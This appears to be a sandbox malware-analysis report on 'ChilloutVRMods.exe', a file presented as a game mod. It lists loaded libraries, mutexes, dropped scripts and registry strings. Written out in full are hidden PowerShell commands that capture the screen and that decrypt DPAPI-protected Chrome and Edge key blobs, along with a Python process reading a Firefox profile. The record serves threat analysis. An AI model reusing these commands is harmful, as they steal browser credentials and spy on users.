%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004788) "powershell.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004788)3a:T846,"ChilloutVRMods.exe" contains export function called "CLRJitAttachState" at ordinal 3 "ChilloutVRMods.exe" contains export function called "DotNetRuntimeInfo" at ordinal 4 "ChilloutVRMods.exe" contains export function called "MetaDataGetDispenser" at ordinal 5 "ChilloutVRMods.exe" contains export function called "g_CLREngineMetrics" at ordinal 2 "ChilloutVRMods.exe" contains export function called "g_dacTable" at ordinal 6 "python310.dll" contains export function called "PyAIter_Check" at ordinal 1 "python310.dll" contains export function called "PyArg_Parse" at ordinal 2 "python310.dll" contains export function called "PyArg_ParseTuple" at ordinal 3 "python310.dll" contains export function called "PyArg_ParseTupleAndKeywords" at ordinal 4 "python310.dll" contains export function called "PyArg_UnpackTuple" at ordinal 5 "python310.dll" contains export function called "PyArg_VaParse" at ordinal 6 "python310.dll" contains export function called "PyArg_VaParseTupleAndKeywords" at ordinal 7 "python310.dll" contains export function called "PyArg_ValidateKeywordArguments" at ordinal 8 "python310.dll" contains export function called "PyAsyncGen_New" at ordinal 9 "python310.dll" contains export function called "PyAsyncGen_Type" at ordinal 10 "python310.dll" contains export function called "PyBaseObject_Type" at ordinal 11 "python310.dll" contains export function called "PyBool_FromLong" at ordinal 12 "python310.dll" contains export function called "PyBool_Type" at ordinal 13 "python310.dll" contains export function called "PyBuffer_FillContiguousStrides" at ordinal 14 "python310.dll" contains export function called "PyBuffer_FillInfo" at ordinal 15 "python310.dll" contains export function called "PyBuffer_FromContiguous" at ordinal 16 "python310.dll" contains export function called "PyBuffer_GetPointer" at ordinal 17 "python310.dll" contains export function called "PyBuffer_IsContiguous" at ordinal 18 "python310.dll" contains export function called "PyBuffer_Release" at ordinal 19 "python310.dll" contains export function called "PyBuffer_SizeFromFormat" at ordinal 203b:T90c,Process ChilloutVRMods.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7912:304:WilStaging_02" Process ChilloutVRMods.exe created mutex with name "SM0:7912:304:WilStaging_02" Process zeppskdd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4592:304:WilStaging_02" Process zeppskdd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4592:304:WilStaging_02" Process zeppskdd.exe created mutex with name "Local\SM0:4592:304:WilStaging_02" Process zeppskdd.exe created mutex with name "SM0:4592:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1732:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1732:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:1732:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:1732:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:5884:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5884:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5884:120:WilError_03" Process powershell.exe created mutex with name "SM0:5884:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:5884:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:5884:120:WilError_03" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8912:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8912:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:8912:304:WilStaging_02" Process cmd.exe created mutex with name "SM0:8912:304:WilStaging_02" Process cscript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4004:304:WilStaging_02" Process cscript.exe created mutex with name "SM0:4004:304:WilStaging_02" Process python.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:636:304:WilStaging_02" Process python.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:636:304:WilStaging_02" Process python.exe created mutex with name "Local\SM0:636:304:WilStaging_02"3c:T981,Antivirus vendors marked dropped file "python310.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "libcrypto-1_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "sqlite3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "libssl-1_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"), Antivirus vendors marked dropped file "python.cat" as clean (type is "Unknown"), Antivirus vendors marked dropped file "python.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"), Antivirus vendors marked dropped file "pythonw.exe" as clean (type is "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"), Antivirus vendors marked dropped file "python3.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"), Antivirus vendors marked dropped file "vcruntime140_1.dll" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "system_check_1788280749172.vbs" as clean (type is "Unknown"), Antivirus vendors marked dropped file "fetch_macholib.bat" as clean (type is "Unknown"), Antivirus vendors marked dropped file "__PSScriptPolicyTest_1mdfxaqi.4os.ps1" as clean (type is "Unknown"), Antivirus vendors marked dropped file "unicodedata.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_decimal.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "pyexpat.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_ssl.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_lzma.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"), Antivirus vendors marked dropped file "_elementtree.pyd" as clean (type is "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections")3d:Tbfe,Process "powershell.exe" with commands "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00005884) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00002044) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00003696) Process "powershell.exe" with commands "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00004788)3e:Td0f,"ChilloutVRMods.exe" failed to load missing module "C:\advapi32.dll" - [base:0; Status:c0000135] "ChilloutVRMods.exe" failed to load missing module "C:\kernel32.dll" - [base:0; Status:c0000135] "ChilloutVRMods.exe" failed to load missing module "C:\BCrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "python.exe" failed to load missing module "%APPDATA%\Mozilla\Firefox\Profiles\5xz6ua91.default-release/nssckbi.dll" - [base:0; Status:c0000135]3f:Tdbb,"ChilloutVRMods.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python310.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libcrypto-1_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "sqlite3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "libssl-1_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "python.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "vcruntime140.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "pythonw.exe" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "python3.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "vcruntime140_1.dll" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF "unicodedata.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_decimal.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "pyexpat.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ssl.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_lzma.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_elementtree.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_ctypes.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_sqlite3.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_bz2.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_socket.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_asyncio.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "_hashlib.pyd" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT40:T3971,"\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002044.00000000.199435.615E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002044.00000001.199487.615E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp "egistry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000+" in Source: 00000000-00002656.00000000.200760.122FC000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{EB87E1BD-" in Source: 00000000-00002656.00000000.200760.12310000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00003696.00000000.199860.B4590000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003696.00000000.199860.B4590000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003696.00000000.199860.B4590000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003696.00000000.199860.B4590000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003696.00000000.199860.CE940000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003696.00000000.199860.CE940000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00003696.00000000.199860.CEBD0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "HKLM\" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00003696.00000000.199860.D48DA000.00000002.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00003696.00000001.199884.B4590000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003696.00000001.199884.B4590000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003696.00000001.199884.B4590000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003696.00000001.199884.B4590000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003696.00000001.199884.CE940000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003696.00000001.199884.CE940000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00003696.00000001.199884.CEC22000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00003696.00000001.199884.CEC22000.00000004.mdmp "[HKLM\Softw" in Source: 00000000-00003696.00000001.199884.CEC22000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00003696.00000001.199884.D24B3000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00003696.00000001.199884.D24B3000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00003696.00000001.199884.D24B3000.00000002.mdmp "dSoftware\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00004004.00000000.196338.7BEAB000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00004004.00000000.196338.7BEAB000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00004004.00000000.196338.7BEAB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004004.00000000.196338.7BEAB000.00000002.mdmp "SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\cscript.exe" in Source: 00000000-00004004.00000000.196338.93070000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004788.00000000.201161.7C580000.00000004.mdmp "AntiSpyware#SOFTWARE\Microsoft\Windows Defender,SOFTWARE\Policies\Microsoft\Windows Defender$77BDAF73-B396-481F-9042-AD358843EC24 WinDefend$A2D75874-6750-4931-94C1-C99D3BC9D0C7" in Source: 00000000-00004788.00000000.201161.7E360000.00000002.mdmp "Windows Defender;SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager" in Source: 00000000-00004788.00000000.201161.7E360000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004788.00000000.201161.7E8E0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004788.00000001.201237.40A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004788.00000001.201237.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004788.00000001.201237.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004788.00000001.201237.40A73000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004788.00000001.201237.40A73000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 